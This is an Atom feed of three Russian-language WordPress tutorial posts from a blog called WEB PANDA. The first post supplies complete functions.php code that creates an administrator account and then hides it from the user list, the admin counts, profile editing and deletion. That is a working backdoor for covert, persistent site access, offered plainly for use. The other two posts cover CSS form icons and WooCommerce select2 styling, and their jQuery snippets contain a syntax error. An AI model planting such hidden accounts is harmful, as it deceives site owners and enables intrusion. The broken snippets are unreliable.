<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>WEB PANDA</title><author><name>WEB PANDA</name></author><id>https://teletype.in/atom/web_panda</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/web_panda?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@web_panda?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=web_panda"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/web_panda?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-08-10T03:32:53.271Z</updated><entry><id>web_panda:hide_user_wp</id><link rel="alternate" type="text/html" href="https://teletype.in/@web_panda/hide_user_wp?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=web_panda"></link><title>Создание скрытого пользователя wordpress</title><published>2022-10-24T09:10:51.782Z</published><updated>2022-10-24T09:17:42.031Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/da/bf/dabf2298-5f02-4c1b-9d5a-5c23323b6b3f.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/c7/8d/c78d4d24-89c6-4c58-b576-0d2f695c14f4.png&quot;&gt;Следующий код позволит вам создать скрытого пользователя. Вставлять код надо в functions.php темы или в любое другое место, где выполняется php код.</summary><content type="html">
  &lt;p id=&quot;xuVK&quot;&gt;Следующий код позволит вам создать скрытого пользователя. Вставлять код надо в functions.php темы или в любое другое место, где выполняется php код.&lt;/p&gt;
  &lt;pre id=&quot;ffLP&quot;&gt;add_action(&amp;#x27;pre_user_query&amp;#x27;,&amp;#x27;webpanda_protect_user_query&amp;#x27;);
add_filter(&amp;#x27;views_users&amp;#x27;,&amp;#x27;protect_user_count&amp;#x27;);
add_action(&amp;#x27;load-user-edit.php&amp;#x27;,&amp;#x27;webpanda_protect_users_profiles&amp;#x27;);
add_action(&amp;#x27;admin_menu&amp;#x27;, &amp;#x27;protect_user_from_deleting&amp;#x27;);
 
function webpanda_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option(&amp;#x27;_pre_user_id&amp;#x27;);
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search-&amp;gt;query_where = str_replace(&amp;#x27;WHERE 1=1&amp;#x27;,
				&amp;quot;WHERE {$id}={$id} AND {$wpdb-&amp;gt;users}.ID&amp;lt;&amp;gt;{$id}&amp;quot;,
				$user_search-&amp;gt;query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode(&amp;#x27;&amp;lt;span class=&amp;quot;count&amp;quot;&amp;gt;(&amp;#x27;,$views[&amp;#x27;all&amp;#x27;]);
	$count = explode(&amp;#x27;)&amp;lt;/span&amp;gt;&amp;#x27;,$html[1]);
	$count[0]--;
	$views[&amp;#x27;all&amp;#x27;] = $html[0].&amp;#x27;&amp;lt;span class=&amp;quot;count&amp;quot;&amp;gt;(&amp;#x27;.$count[0].&amp;#x27;)&amp;lt;/span&amp;gt;&amp;#x27;.$count[1];
 
	$html = explode(&amp;#x27;&amp;lt;span class=&amp;quot;count&amp;quot;&amp;gt;(&amp;#x27;,$views[&amp;#x27;administrator&amp;#x27;]);
	$count = explode(&amp;#x27;)&amp;lt;/span&amp;gt;&amp;#x27;,$html[1]);
	$count[0]--;
	$views[&amp;#x27;administrator&amp;#x27;] = $html[0].&amp;#x27;&amp;lt;span class=&amp;quot;count&amp;quot;&amp;gt;(&amp;#x27;.$count[0].&amp;#x27;)&amp;lt;/span&amp;gt;&amp;#x27;.$count[1];
 
	return $views;
}
 
function webpanda_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option(&amp;#x27;_pre_user_id&amp;#x27;);
 
	if( isset( $_GET[&amp;#x27;user_id&amp;#x27;] ) &amp;amp;&amp;amp; $_GET[&amp;#x27;user_id&amp;#x27;] == $id &amp;amp;&amp;amp; $user_id != $id)
		wp_die(__( &amp;#x27;Invalid user ID.&amp;#x27; ) );
}
 
function protect_user_from_deleting(){
 
	$id = get_option(&amp;#x27;_pre_user_id&amp;#x27;);
 
	if( isset( $_GET[&amp;#x27;user&amp;#x27;] ) &amp;amp;&amp;amp; $_GET[&amp;#x27;user&amp;#x27;]
	&amp;amp;&amp;amp; isset( $_GET[&amp;#x27;action&amp;#x27;] ) &amp;amp;&amp;amp; $_GET[&amp;#x27;action&amp;#x27;] == &amp;#x27;delete&amp;#x27;
	&amp;amp;&amp;amp; ( $_GET[&amp;#x27;user&amp;#x27;] == $id || !get_userdata( $_GET[&amp;#x27;user&amp;#x27;] ) ) )
		wp_die(__( &amp;#x27;Invalid user ID.&amp;#x27; ) );
 
}
 
$args = array(
	&amp;#x27;user_login&amp;#x27; =&amp;gt; &amp;#x27;Ваш логин пользователя&amp;#x27;,
	&amp;#x27;user_pass&amp;#x27; =&amp;gt; &amp;#x27;Пароль&amp;#x27;,
	&amp;#x27;role&amp;#x27; =&amp;gt; &amp;#x27;administrator&amp;#x27;,
	&amp;#x27;user_email&amp;#x27; =&amp;gt; &amp;#x27;Емайл&amp;#x27;
);
 
if( !username_exists( $args[&amp;#x27;user_login&amp;#x27;] ) ){
	$id = wp_insert_user( $args );
	update_option(&amp;#x27;_pre_user_id&amp;#x27;, $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( &amp;#x27;login&amp;#x27;, $args[&amp;#x27;user_login&amp;#x27;] );
	if ( $hidden_user-&amp;gt;user_email != $args[&amp;#x27;user_email&amp;#x27;] ) {
		$id = get_option( &amp;#x27;_pre_user_id&amp;#x27; );
		$args[&amp;#x27;ID&amp;#x27;] = $id;
		wp_insert_user( $args );
	}	
}&lt;/pre&gt;
  &lt;p id=&quot;9li2&quot;&gt;&lt;br /&gt;Логин и пароль находится тут. Вам надо поменять на свои:&lt;/p&gt;
  &lt;figure id=&quot;Ys80&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c7/8d/c78d4d24-89c6-4c58-b576-0d2f695c14f4.png&quot; width=&quot;589&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;p6JF&quot;&gt;&lt;a href=&quot;https://misha.agency/wordpress/create-hidden-user.html&quot; target=&quot;_blank&quot;&gt;Источник статьи &lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;kocM&quot;&gt;&lt;a href=&quot;https://t.me/web_panda&quot; target=&quot;_blank&quot;&gt;Пост канала @web_panda&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>web_panda:icon-form</id><link rel="alternate" type="text/html" href="https://teletype.in/@web_panda/icon-form?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=web_panda"></link><title>Добавление иконки в поле в форме любого плагина</title><published>2022-10-20T11:57:17.683Z</published><updated>2022-10-20T12:15:35.369Z</updated><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/a1/bc/a1bc902b-17d3-4cbb-9bea-881a9dd67044.jpeg&quot;&gt;Всем привет! Это продолжение поста про добавление иконки в контактную форму.</summary><content type="html">
  &lt;p id=&quot;8bDi&quot;&gt;Всем привет! Это продолжение поста про добавление иконки в контактную форму.&lt;/p&gt;
  &lt;h2 id=&quot;HpiH&quot;&gt;Находим нужный нам селектор (класс)&lt;/h2&gt;
  &lt;p id=&quot;0cvj&quot;&gt;Для того чтобы найти нужный класс, нам нужно нажать на элемент правой кнопкой мыши и &lt;strong&gt;просмотреть код элемента.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;6Frf&quot;&gt;Я заранее задал класс &amp;quot;phone-field-icon&amp;quot; при создании поля с номером телефона и &amp;quot;name-field-icon&amp;quot; для поля с именем.&lt;/p&gt;
  &lt;p id=&quot;8pA2&quot;&gt;Ниже оставил два скриншота добавления классов для двух популярных плагинов (wpforms и contact form 7). В других контактных плагинах должно быть что-то похожее. Если нет, то не волнуйтесь — это необязательно.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;3lrW&quot;&gt;Желательно задавать класс, чтобы случайно не задеть другие поля.&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;lImr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/bc/a1bc902b-17d3-4cbb-9bea-881a9dd67044.jpeg&quot; width=&quot;1542&quot; /&gt;
    &lt;figcaption&gt;Добавление класса в wpforms&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;GcWj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3c/2a/3c2aca34-02bc-4d89-a05e-fb8616510d79.jpeg&quot; width=&quot;1108&quot; /&gt;
    &lt;figcaption&gt;Добавление класса в contact form 7&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;pre id=&quot;axkZ&quot;&gt;// код для добавления класса cf7
&amp;lt;div class=&amp;quot;name-field-icon&amp;quot;&amp;gt;ШОРТКОД ПОЛЯ&amp;lt;/div&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;s4UH&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;lnpz&quot;&gt;Теперь найдем этот класс на странице:&lt;/p&gt;
  &lt;figure id=&quot;1djg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c1/0e/c10e8b9c-dff0-4c87-b657-819a0a8bba7c.jpeg&quot; width=&quot;903&quot; /&gt;
    &lt;figcaption&gt;1 шаг&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;LdB5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/04/d004cdf0-2ac6-49f6-9971-ee1c13ed387f.jpeg&quot; width=&quot;1907&quot; /&gt;
    &lt;figcaption&gt;2 шаг&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Qp8X&quot;&gt;Прописываем css код&lt;/h2&gt;
  &lt;p id=&quot;fec0&quot;&gt;Для cf7 прописываем такой код:&lt;/p&gt;
  &lt;pre id=&quot;5CHv&quot;&gt;.name-field-icon .wpcf7-form-control-wrap {
    position: relative;
}

.name-field-icon .wpcf7-form-control-wrap::after {
    position: absolute;
    left: 0;
    top: 0;
    content: &amp;#x27;&amp;#x27;;
    width: 50px;
    height: 100%;
    background: #eee url(&amp;#x27;http://test.local/wp-content/uploads/2022/10/159832.png&amp;#x27;) center center no-repeat;
    background-size: 25px;
}

.name-field-icon input {
    padding-left: 60px;
}&lt;/pre&gt;
  &lt;p id=&quot;A2fR&quot;&gt;Отредактируйте тут &lt;strong&gt;width, url (адрес иконки),  padding-lef &lt;/strong&gt;и &lt;strong&gt;background-size&lt;/strong&gt; под свой проект.&lt;/p&gt;
  &lt;p id=&quot;uNPf&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Sfdc&quot;&gt;Для wpforms прописываем такой код:&lt;/p&gt;
  &lt;pre id=&quot;ci8p&quot;&gt;.phone-field-icon {
    position: relative !important;
 }

.phone-field-icon::after {
    position: absolute;
    left: 1px;
    top: 36px;
    content: &amp;#x27;&amp;#x27;;
    width: 36px;
    height: 36px;
    background: #eee url(&amp;#x27;http://test.local/wp-content/uploads/2022/10/159832.png&amp;#x27;) center center no-repeat;
    background-size: 21px;
}&lt;/pre&gt;
  &lt;p id=&quot;m2hi&quot;&gt;У wpforms другая структура кода, поэтому код css довольно сильно изменился, но принципы остались такие же.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;r5Hk&quot;&gt;&lt;strong&gt;Код ориентировочный!&lt;/strong&gt; Вам надо отредактировать значения под свой проект. Если возникнут трудности, то пишите в комментарии.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;S5iE&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;aArY&quot;&gt;&lt;a href=&quot;https://t.me/web_panda&quot; target=&quot;_blank&quot;&gt;Пост канала @web_panda&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>web_panda:select-woocommerce</id><link rel="alternate" type="text/html" href="https://teletype.in/@web_panda/select-woocommerce?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=web_panda"></link><title>Стилизация woocommerce select</title><published>2022-10-19T05:34:39.858Z</published><updated>2022-10-19T05:39:35.509Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/a6/5d/a65df566-0869-4d5f-adc7-e5802c6c7748.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/56/04/5604da41-603a-4781-93f7-5174009ae888.jpeg&quot;&gt;Всем привет! Это продолжение поста про стилизацию select.</summary><content type="html">
  &lt;p id=&quot;Y9Et&quot;&gt;Всем привет! Это &lt;a href=&quot;https://t.me/web_panda/18&quot; target=&quot;_blank&quot;&gt;продолжение поста про стилизацию select.&lt;/a&gt;&lt;/p&gt;
  &lt;h2 id=&quot;GR2A&quot;&gt;Добавление обычного select&lt;/h2&gt;
  &lt;p id=&quot;LxcM&quot;&gt;Для начала нам надо создать обычный select. Это можно сделать с помощью &lt;a href=&quot;https://wordpress.org/plugins/search/checkout+fields/&quot; target=&quot;_blank&quot;&gt;специальных плагинов&lt;/a&gt;  или с &lt;a href=&quot;https://misha.agency/woocommerce/rukovodstvo-po-dobavleniyu-polej-na-straniczu-oformleniya-zakaza.html&quot; target=&quot;_blank&quot;&gt;помощью кода&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;pcF5&quot;&gt;Лично я сделал через код:&lt;/p&gt;
  &lt;pre id=&quot;jRBQ&quot;&gt;add_action( &amp;#x27;woocommerce_before_order_notes&amp;#x27;, &amp;#x27;webPanda_custom_woo_fields&amp;#x27; );
 
function webPanda_custom_woo_fields() {
	woocommerce_form_field( 
		&amp;#x27;billing_contactmethod&amp;#x27;, 
		array(
			&amp;#x27;type&amp;#x27;          =&amp;gt; &amp;#x27;select&amp;#x27;, // text, textarea, select, radio, checkbox, password
			&amp;#x27;required&amp;#x27;	=&amp;gt; true, // по сути только добавляет значок &amp;quot;*&amp;quot; и всё
			&amp;#x27;class&amp;#x27;         =&amp;gt; array( &amp;#x27;panda-field&amp;#x27;, &amp;#x27;form-row-wide&amp;#x27; ), // массив классов поля
			&amp;#x27;label&amp;#x27;         =&amp;gt; &amp;#x27;Предпочитаемый метод связи&amp;#x27;,
			&amp;#x27;label_class&amp;#x27;   =&amp;gt; &amp;#x27;panda-label&amp;#x27;, // класс лейбла
			&amp;#x27;options&amp;#x27;	=&amp;gt; array( // options for  or 
				&amp;#x27;&amp;#x27;		=&amp;gt; &amp;#x27;Выберите&amp;#x27;, // пустое значение
				&amp;#x27;По телефону&amp;#x27;	=&amp;gt; &amp;#x27;По телефону&amp;#x27;, // &amp;#x27;значение&amp;#x27; =&amp;gt; &amp;#x27;заголовок&amp;#x27;
				&amp;#x27;По email&amp;#x27;	=&amp;gt; &amp;#x27;По email&amp;#x27;
			)
		)
	);
}&lt;/pre&gt;
  &lt;p id=&quot;5DvK&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;GWsc&quot;&gt;Связка библиотеки select2 с полем, которое создали&lt;/h2&gt;
  &lt;p id=&quot;JVm6&quot;&gt;Тут всё довольно просто. Нам надо подключить следующий js код. Прошу заметить, что &lt;strong&gt;в условии мы вставляем id без #, а далее уже вместе с #.&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;eJn7&quot;&gt;jQuery(document).ready(function ($) {
	if (document.getElementById(&amp;#x27;billing_contactmethod&amp;#x27;) {
    	$(&amp;#x27;#billing_contactmethod&amp;#x27;).select2({
		    minimumResultsForSearch: -1
		});
	}
});&lt;/pre&gt;
  &lt;p id=&quot;qTHl&quot;&gt;&lt;em&gt;Не знаете, как вставить код? Используйте woody code snippets. Создайте там js сниппет и выберите в условиях отображения: &amp;quot;показывать везде&amp;quot;.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Tayy&quot;&gt;&lt;strong&gt;Откуда взять id поля?&lt;/strong&gt; ID поле вы задаёте при создании этого поля. Самый простой способ — это посмотреть в консоли. Скрин ниже.&lt;/p&gt;
  &lt;figure id=&quot;m5si&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/04/5604da41-603a-4781-93f7-5174009ae888.jpeg&quot; width=&quot;1445&quot; /&gt;
    &lt;figcaption&gt;просмотр id в консоли&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4Xbv&quot;&gt;Если вы хотите &lt;strong&gt;добавить в ваш select поле поиска&lt;/strong&gt;, то удалите строчку &amp;#x27; minimumResultsForSearch: -1&amp;#x27; . Тогда ваш код должен быть таким:&lt;/p&gt;
  &lt;pre id=&quot;pPsg&quot;&gt;jQuery(document).ready(function ($) {
	if (document.getElementById(&amp;#x27;billing_contactmethod&amp;#x27;) {
    	$(&amp;#x27;#billing_contactmethod&amp;#x27;).select2();
	}
});&lt;/pre&gt;
  &lt;p id=&quot;k7dz&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;admn&quot;&gt;Стилизация поля&lt;/h2&gt;
  &lt;p id=&quot;SBjz&quot;&gt;Далее уже можно находить элементы через консоль и добавлять им стили через обычный css, так как всё сделано на div, то абсолютно любые стили будет применяться.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;9AEv&quot;&gt;Рекомендую делать вложенность #ваш_id .css_селектор, чтобы случайно не задеть другие select поля.&lt;/p&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;ei5Q&quot;&gt;Если возникли проблемы, то пишите их в чат &lt;a href=&quot;https://t.me/inweb_chat&quot; target=&quot;_blank&quot;&gt;https://t.me/inweb_chat&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;aArY&quot;&gt;&lt;a href=&quot;https://t.me/web_panda&quot; target=&quot;_blank&quot;&gt;Пост канала @web_panda&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>